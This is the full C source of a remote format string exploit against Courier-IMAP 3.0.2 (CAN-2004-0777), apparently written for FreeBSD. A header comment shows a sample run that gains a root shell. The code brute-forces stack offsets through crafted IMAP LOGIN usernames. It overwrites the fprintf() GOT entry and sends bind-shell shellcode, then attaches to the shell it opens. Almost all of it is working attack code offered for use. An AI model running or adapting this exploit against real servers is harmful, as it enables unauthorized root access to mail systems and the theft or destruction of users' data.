Courier-IMAP <= 3.0.2-r1 auth_debug() Remote Format String Exploit
/* CAN-2004-0777 *//*
courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit
Author: ktha at hush dot com
Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2
Special thanks goes to andrewg for providing the FreeBSD box.
Greetings: all the guys from irc pulltheplug com and irc netric org
bash-2.05b$ ./sm00ny-courier_imap_fsx
courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com
[*] Launching attack against 127.0.0.1:143
[+] Got current ebp(5100): 0xbfbfb050
[+] Got possible saved ebp(3281): 0xbfbfe390
[+] Got possible write on the stack pointer(3293): 0xbfbfe3c0
[+] Verifying...failed
[+] Got possible saved ebp(3286): 0xbfbfe3a4
[+] Got possible write on the stack pointer(3298): 0xbfbfe3d4
[+] Verifying...failed
[+] Got possible saved ebp(3287): 0xbfbfe3a8
[+] Got possible write on the stack pointer(3299): 0xbfbfe3d8
[+] Verifying...OK
[+] Building fmt...done
[+] Building shellcode...done
[*] Using ret: 0x8057000
[*] Using got of fprintf(): 0x804fefc
[*] Checking for shell..
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
N.B. 1. ret can be guessed ;)
2. got, well.. that's a different story, it must be bruteforced
3. "ce_number" & "se_number" can be set with some default values when running multiple times
4. shell is usable for aprox 1 min
[ Need a challenge ? ]
[ Visit http://www.pulltheplug.com ]
*/
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BIGBUF 2048
#define IMAP_PORT 143
#define END_BRUTEFORCE_STACK 5500
#define TOP_STACK 0xbfc00000 /* FreeBSD */
#define START_BRUTEFORCE_SAVED_EBP 3000
#define JUNK 9
#define GAP_EBP_ESP 48
#define DUMMY_NUMBER 100
void die(int type, char *message) {
if(type == 2)
perror(message);
else
fprintf(stderr,"%s\n",message);
exit(1);
}
int connect_to (char *host, int port){
struct hostent *h;
struct sockaddr_in c;
int sock;
if ((host == NULL) || (*host == (char) 0))
die(1, "[-] Invalid hostname");
if ((c.sin_addr.s_addr = inet_addr (host)) == -1){
if ((h = gethostbyname (host)) == NULL)
die(1, "[-] Cannot resolve host");
memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof (c.sin_addr));
}
if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
die(2,"[-] Error creating socket:");
c.sin_family = PF_INET;
c.sin_port = htons (port);
if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1)
die(2, "[-] Cannot connect: ");
return sock;
}
void close_socket (int sock){
shutdown (sock, 2);
close (sock);
}
char *get_request(char *username, char *password){
char *request = (char *)malloc(strlen(username)+strlen(password)+20);
sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password);
return request;
}
void send_data(int sock, char *request){
int n;
n = send (sock, request, strlen (request), 0);
if (n != strlen (request)){
close_socket (sock);
die(1, "Error sending request\n");
}
}
int get_ce_number(char *host, int port){
int sock;
int loop;
char temp[BIGBUF];
int l,n;
char username[BIGBUF];
char password[BIGBUF];
char *request;
for (loop = END_BRUTEFORCE_STACK;;loop--){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$p",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
break;
}
return loop;
}
int get_se_number(int start, int end, char *host, int port){
int loop;
char username[BIGBUF];
char password[BIGBUF];
char *request;
int l,n;
char temp[BIGBUF];
int sock;
if (!start)
start = START_BRUTEFORCE_SAVED_EBP;
for (loop = start; loop < end; loop++){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$n",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
break;
}
if (loop == end)
return -1;
return loop;
}
int verify_se_number(int write, unsigned long addy, int number, char *host, int port){
char username[BIGBUF];
char password[BIGBUF];
char temp[BIGBUF];
char *request;
int n, sock;
sock = connect_to(host, port);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK, number, write);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n <= 0)
return 0;
sock = connect_to(host, port);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%u$n%%%u$hn", number, write);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
return 0;
return 1;
}
int *get_format_vector(unsigned long got_addy, unsigned long got, unsigned long ret){
int i,j,sum,byte;
int *vec = (int *)malloc(11 * sizeof(int));
sum = JUNK;
for (i=0; i<2; i++){
for (j=0; j<2; j++){
vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum;
while (vec[2*(2 * i + j)] <= 12)
vec[2*(2 * i + j)] += 0x10000;
sum += vec[2*(2 * i + j)];
byte = ((got + 2 * i) >> (16*j)) & 0xffff;
vec[2*(2 * i + j) + 1] = byte - sum;
while (vec[2*(2 * i + j) + 1] <= 12)
vec[2*(2 * i + j) + 1] += 0x10000;
sum += vec[2*(2 * i + j) + 1];
got_addy += 2;
}
}
for (i=0; i<2; i++){
byte = (ret >> (16*i)) & 0xffff;
vec[8+i] = byte - sum;
while (vec[8+i] <= 12)
vec[8+i] += 0x10000;
sum += vec[8+i];
}
return vec;
}
char *get_format_string(int *vec, int se_number, int write_number, int got_number){
char *buf = (char *) malloc(BIGBUF);
char smallbuf[256];
int i;
for (i=0; i<4; i++){
sprintf(smallbuf ,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number);
strcat(buf,smallbuf);
}
for (i=0; i<2; i++){
sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i);
strcat(buf,smallbuf);
}
return buf;
}
char *gen_shellcode (int gap){
int size;
char *p;
char shellcode[] =
/* Thanks ilja */
"\x31\xc0\x31\xc9\x31\xd2\xb0\x61"
"\x51\xb1\x06\x51\xb1\x01\x51\xb1"
"\x02\x51\x8d\x0c\x24\x51\xcd\x80"
"\xb1\x02\x31\xc9\x51\x51\x51\x80"
"\xc1\x77\x66\x51\xb5\x02\x66\x51"
"\x8d\x0c\x24\xb2\x10\x52\x51\x50"
"\x8d\x0c\x24\x51\x89\xc2\x31\xc0"
"\xb0\x68\xcd\x80\xb3\x01\x53\x52"
"\x8d\x0c\x24\x51\x31\xc0\xb0\x6a"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d"
"\x0c\x24\x51\x31\xc9\xb0\x1e\xcd"
"\x80\x89\xc3\x53\x51\x31\xc0\xb0"
"\x5a\xcd\x80\x41\x53\x51\x31\xc0"
"\xb0\x5a\xcd\x80\x41\x53\x51\x31"
"\xc0\xb0\x5a\xcd\x80\x31\xdb\x53"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x31\xc0\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";
size = strlen (shellcode);
p = (char *) malloc (gap + 1);
/* Some nops ;) */
memset (p, 0x41, gap);
memcpy (p + gap - size, shellcode, size + 1);
return p;
}
void root(char *host) {
fd_set rfds;
int n;
int sock;
char buff[1024];
sock = connect_to(host,30464);
send(sock,"id;\n",4,0);
while(1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
if(select(sock+1, &rfds, NULL, NULL, NULL) < 1)
exit(0);
if(FD_ISSET(0,&rfds)) {
if( (n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if( send(sock,buff,n,0) != n)
exit(0);
}
if(FD_ISSET(sock,&rfds)) {
if( (n = recv(sock,buff,sizeof(buff),0)) < 1)
exit(0);
write(1,buff,n);
}
}
}
main (int argc, char **argv) {
char *host="127.0.0.1";
int port = IMAP_PORT;
int sock;
char *temp1, *temp2;
char *request;
int *vec;
int n,ok,i;
unsigned long cur_ebp; // was 5100 on my box
int ce_number = 0;
unsigned long saved_ebp; // was 3287 on my box
int se_number = 0;
unsigned long write_addy;
int write_number = 0;
unsigned long got_addy;
int got_number = 0;
/* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */
unsigned long got = 0x0804fefc;
/* heh.. it's up to you to find this one :P Just use your favourite mathod */
unsigned long ret = 0x8057000;
if (argc > 1)
host = argv[1];
printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com\n");
printf("[*] Launching attack against %s:%d\n",host,port);
if (ce_number == 0)
ce_number = get_ce_number(host,port);
cur_ebp = TOP_STACK - 4 * ce_number;
got_number = DUMMY_NUMBER;
got_addy = cur_ebp + 4 * (got_number - 1);
printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp);
do{
se_number = get_se_number(se_number,ce_number,host,port);
if (se_number == -1)
die(1,"[-] Failed to get a saved_ebp !");
saved_ebp = cur_ebp + 4 * (se_number - 1);
printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp);
write_addy = GAP_EBP_ESP + saved_ebp;
write_number = (write_addy - cur_ebp) / 4 + 1;
printf("[+] Got possible write on the stack pointer(%d): %p\n",write_number,write_addy);
printf("[+] Verifying...");
ok = verify_se_number(write_number,got_addy,se_number,host,port);
if (ok)
printf("OK\n");
else {
printf("failed\n");
se_number++;
}
}while (!ok);
printf("[+] Building fmt...");
vec = get_format_vector(got_addy,got,ret);
temp1 = get_format_string(vec,se_number,write_number,got_number);
printf("done\n");
printf("[+] Building shellcode...");
temp2 = gen_shellcode(800);
printf("done\n");
printf("[*] Using ret: %p\n",ret);
printf("[*] Using got of fprintf(): %p\n",got);
request = get_request(temp1,temp2);
sock = connect_to(host, port);
send_data(sock,request);
sleep(2);
close_socket (sock);
printf("[*] Checking for shell..\n");
root(host);
}